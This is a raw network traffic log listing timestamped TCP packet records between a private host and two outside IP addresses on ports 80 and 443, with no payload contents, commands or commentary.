Nov 20, 2024 08:12:39.089185953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089195967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089204073 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089210033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089224100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089245081 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089245081 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089293957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089306116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089317083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089327097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089339972 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089349031 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089349031 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089351892 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089370012 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089387894 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089397907 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089411020 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089421034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089421988 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089421034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089421034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089437008 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089449883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089459896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089462042 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089473963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089484930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089497089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089508057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089509010 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089509010 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089521885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089534044 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089534044 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089567900 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089567900 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090259075 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090271950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090282917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090295076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090305090 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090306044 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090317965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090328932 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090348959 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090361118 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090362072 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090362072 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090374947 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090387106 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090398073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090409994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090416908 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090416908 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090423107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090435028 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090445995 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090456963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090465069 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090466022 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090490103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.090601921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.090661049 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.157207012 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.157242060 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.157289982 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.157316923 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.157356024 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.161140919 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.161206961 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.161511898 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.162256002 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.162280083 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.162319899 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.162319899 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.163029909 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.174885988 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.185997963 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.186017036 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.186031103 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.186038017 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.208112001 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.208142042 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.208162069 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.208168030 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.218964100 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.218998909 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.219018936 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.219024897 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.226803064 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.256803036 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.256829023 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.257400990 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.257405996 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.260170937 CET	49856	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.260205984 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.261049986 CET	49856	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.271042109 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.271605015 CET	49855	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.271619081 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.272023916 CET	49855	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.272030115 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.272319078 CET	49856	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.272329092 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.287556887 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.287597895 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.288557053 CET	49858	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.288579941 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.288609982 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.288645029 CET	49858	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.288971901 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.288981915 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.289011955 CET	49858	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.289021015 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.313080072 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.317039967 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.363445044 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.363516092 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.363583088 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.365616083 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.365638018 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.365648985 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.365654945 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.370417118 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.370449066 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.370589018 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.370753050 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.370760918 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.374923944 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.374989033 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.375097036 CET	49855	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.375335932 CET	49855	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.375349998 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.375363111 CET	49855	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.375369072 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.380158901 CET	49860	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.380202055 CET	443	49860	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.380294085 CET	49860	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.380440950 CET	49860	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.380453110 CET	443	49860	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.769052982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.769371033 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.915122032 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.915633917 CET	49856	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.915654898 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.916096926 CET	49856	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.916101933 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.929047108 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.929557085 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.929585934 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.930104971 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.930109978 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.957031012 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.957560062 CET	49858	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.957571983 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.958045006 CET	49858	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.958051920 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.010636091 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.011758089 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.011785984 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.015538931 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.016180038 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.016233921 CET	49856	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.019099951 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.019119024 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.019650936 CET	49856	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.019669056 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.019682884 CET	49856	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.019690037 CET	443	49856	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.022910118 CET	49861	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.022958994 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.023019075 CET	49861	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.023185968 CET	49861	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.023197889 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.032277107 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.032398939 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.032440901 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.032465935 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.032515049 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.032582998 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.032598972 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.032614946 CET	49857	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.032620907 CET	443	49857	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.035238981 CET	49862	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.035276890 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.035366058 CET	49862	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.035501957 CET	49862	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.035514116 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.057334900 CET	443	49860	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.057796001 CET	49860	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.057818890 CET	443	49860	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.058361053 CET	49860	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.058372021 CET	443	49860	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.060920000 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.060991049 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.061050892 CET	49858	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.061148882 CET	49858	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.061166048 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.061177969 CET	49858	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.061183929 CET	443	49858	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.064049006 CET	49863	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.064091921 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.064150095 CET	49863	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.064270020 CET	49863	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.064284086 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.286187887 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.286199093 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.286221027 CET	443	49860	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.286242008 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.286269903 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.286281109 CET	443	49860	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.286330938 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.286514997 CET	49860	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.286514997 CET	49860	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.286533117 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.286533117 CET	49859	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.286547899 CET	49860	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.286550045 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.286557913 CET	443	49859	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.286561012 CET	443	49860	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.289441109 CET	49864	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.289474010 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.289535046 CET	49864	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.290652037 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.290695906 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.290772915 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.290935040 CET	49864	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.290956020 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.291019917 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.291039944 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.659885883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.661209106 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.688914061 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.689965010 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.690093994 CET	49861	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.690129042 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.690557957 CET	49861	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.690563917 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.690846920 CET	49862	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.690875053 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.691229105 CET	49862	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.691235065 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.712713957 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.713433981 CET	49863	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.713459015 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.713932037 CET	49863	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.713941097 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.794358015 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.794504881 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.794557095 CET	49861	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.794770002 CET	49861	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.794791937 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.794811010 CET	49861	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.794817924 CET	443	49861	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.797981977 CET	49866	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.798017025 CET	443	49866	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.798744917 CET	49866	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.799043894 CET	49866	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.799052954 CET	443	49866	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.813817978 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.814037085 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.814089060 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.814143896 CET	49863	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.814204931 CET	49863	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.814224958 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.814238071 CET	49863	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.814244032 CET	443	49863	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.816571951 CET	49867	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.816622972 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.816818953 CET	49867	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.816818953 CET	49867	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:40.816847086 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:40.879228115 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.884099960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.884130955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.884144068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.884156942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.884218931 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.922774076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.927700043 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.927722931 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.927742004 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.927783012 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.927805901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.927819967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.927831888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.927854061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.927874088 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.927874088 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.927907944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928069115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928081036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928093910 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928106070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928109884 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928109884 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928117990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928129911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928136110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928142071 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928150892 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928181887 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928181887 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928325891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928337097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928349018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928390980 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928390980 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928431034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928442955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928455114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928467035 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928497076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928497076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928651094 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928662062 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928675890 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928687096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928699017 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928709984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928720951 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928733110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928735971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928735971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928775072 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928775072 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.928955078 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928966999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928978920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.928991079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929004908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929016113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929028988 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929028988 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.929034948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929091930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929173946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.929184914 CET	80	49833	185.215.113.16	192.168.2.6
